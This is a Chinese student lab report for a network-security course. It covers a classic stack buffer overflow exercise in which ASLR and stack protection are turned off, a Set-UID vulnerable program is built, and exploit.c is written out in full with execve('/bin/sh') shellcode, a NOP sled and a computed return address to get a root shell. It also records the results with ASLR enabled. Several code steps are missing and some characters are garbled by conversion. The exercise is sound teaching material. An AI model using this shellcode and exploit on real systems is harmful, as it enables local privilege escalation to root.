2017-2018-2 20179205《网络攻防技术与实践》第十周做业 缓冲区溢出攻防研究

《网络攻防技术与实践》第十周做业 缓冲区溢出攻防研究

1、实验简介

缓冲区溢出是指程序试图向缓冲区写入超出预分配固定长度数据的状况。这一漏洞能够被恶意用户利用来改变程序的流控制，甚至执行代码的任意片断。这一漏洞的出现是因为数据缓冲器和返回地址的暂时关闭，溢出会引发返回地址被重写。

2、实验准备

实验楼提供的是64位Ubuntu linux，而本次实验为了方便观察汇编语句，咱们须要在32位环境下做操做，所以实验以前须要作一些准备。

一、输入命令安装一些用于编译32位C程序的东西：

3、攻击漏洞程序并得到root权限

3.1初始设置

• 输入命令“linux32”进入32位linux环境。此时你会发现，命令行用起来没那么爽了，好比不能tab补全了，因此输入“/bin/bash”使用bash

• Ubuntu和其余一些Linux系统中，使用地址空间随机化来随机堆（heap）和栈（stack）的初始地址，这使得猜想准确的内存地址变得十分困难，而猜想内存地址是缓冲区溢出攻击的关键。所以本次实验中，咱们使用如下命令关闭这一功能：

  sudo sysctl -w kernel.randomize_va_space=0

• 此外，为了进一步防范缓冲区溢出攻击及其它利用shell程序的攻击，许多shell程序在被调用时自动放弃它们的特权。所以，即便你能欺骗一个Set-UID程序调用一个shell，也不能在这个shell中保持root权限，这个防御措施在/bin/bash中实现。

• linux系统中，/bin/sh实际是指向/bin/bash或/bin/dash的一个符号连接。为了重现这一防御措施被实现以前的情形，咱们使用另外一个shell程序（zsh）代替/bin/bash。设置zsh程序：

3.2 shellcode

通常状况下，缓冲区溢出会形成程序崩溃，在程序中，溢出的数据覆盖了返回地址。而若是覆盖返回地址的数据是另外一个地址，那么程序就会跳转到该地址，若是该地址存放的是一段精心设计的代码用于实现其余功能，这段代码就是shellcode。

3.3 漏洞程序

新建stack.c文件，保存在/tmp目录下：

经过代码能够知道，程序会读取一个名为“badfile”的文件，并将文件内容装入“buffer”。
编译该程序，并设置SET-UID。以下：

GCC编译器有一种栈保护机制来阻止缓冲区溢出，因此咱们在编译代码时须要用 –fno-stack-protector 关闭这种机制。而 -z execstack 用于容许执行栈。

3.4 攻击程序

咱们的目的是攻击刚才的漏洞程序，并经过攻击得到root权限。新建“exploit.c”文件，保存到 /tmp 目录下。代码以下：

/* exploit.c */
/* A program that creates a file containing code for launching shell*/
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

char shellcode[]=

"\x31\xc0"//xorl %eax,%eax
"\x50"//pushl %eax
"\x68""//sh"  //pushl $0x68732f2f
"\x68""/bin"  //pushl $0x6e69622f
"\x89\xe3"//movl %esp,%ebx
"\x50"//pushl %eax
"\x53"//pushl %ebx
"\x89\xe1"//movl %esp,%ecx
"\x99"//cdq
"\xb0\x0b"//movb $0x0b,%al
"\xcd\x80"//int $0x80
;

void main(int argc, char **argv)
{
char buffer[517];
FILE *badfile;

/* Initialize buffer with 0x90 (NOP instruction) */
memset(&buffer, 0x90, 517);

/* You need to fill the buffer with appropriate contents here */
strcpy(buffer,"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x??\x??\x??\x??");
strcpy(buffer+100,shellcode);

/* Save the contents to the file "badfile" */
badfile = fopen("./badfile", "w");
fwrite(buffer, 517, 1, badfile);
fclose(badfile);
}

注意上面的代码，“\x??\x??\x??\x??”处须要添上shellcode保存在内存中的地址，由于发生溢出后这个位置恰好能够覆盖返回地址。

而 strcpy(buffer+100,shellcode); 这一句又告诉咱们，shellcode保存在 buffer+100 的位置。

如今咱们要获得shellcode在内存中的地址，输入命令：

gdb stack
disass main

结果如图：

接下来的操做：

根据语句 strcpy(buffer+100,shellcode),计算shellcode的地址为 0xffffd060(十六进制)+100(十进制)=0xffffd0c4(十六进制)

修改exploit.c文件,将 \x??\x??\x??\x?? 修改成 \xc4\xd0\xff\xff

而后，编译exploit.c程序：

gcc -m32 -o exploit exploit.c

3.5 攻击结果

先运行攻击程序exploit，再运行漏洞程序stack，观察结果：

实验二：打开系统的地址空间随机化机制，重复用exploit程序攻击stack程序，发现不能得到root权限

初始设置：

设置zsh程序：

从新建stack,c文件，保存在/tmp目录下：

编译该程序，并设置SET-UID：

新建exploit.c，一样保存在/tmp目录下：

为获得shellcode在内存中的地址，输入命令：

gdb stack
disass main

修改shellcode的地址：

重复用exploit程序攻击stack程序，发现没有攻击成功，不能得到root权限：

实验三：将/bin/sh从新指向/bin/bash（或/bin/dash），观察可否攻击成功，可否得到root权限。

当关闭空间地址随机化时，能够攻击成功，得到root权限：

当打开系统的地址空间随机化机制，攻击失败，没法得到root权限。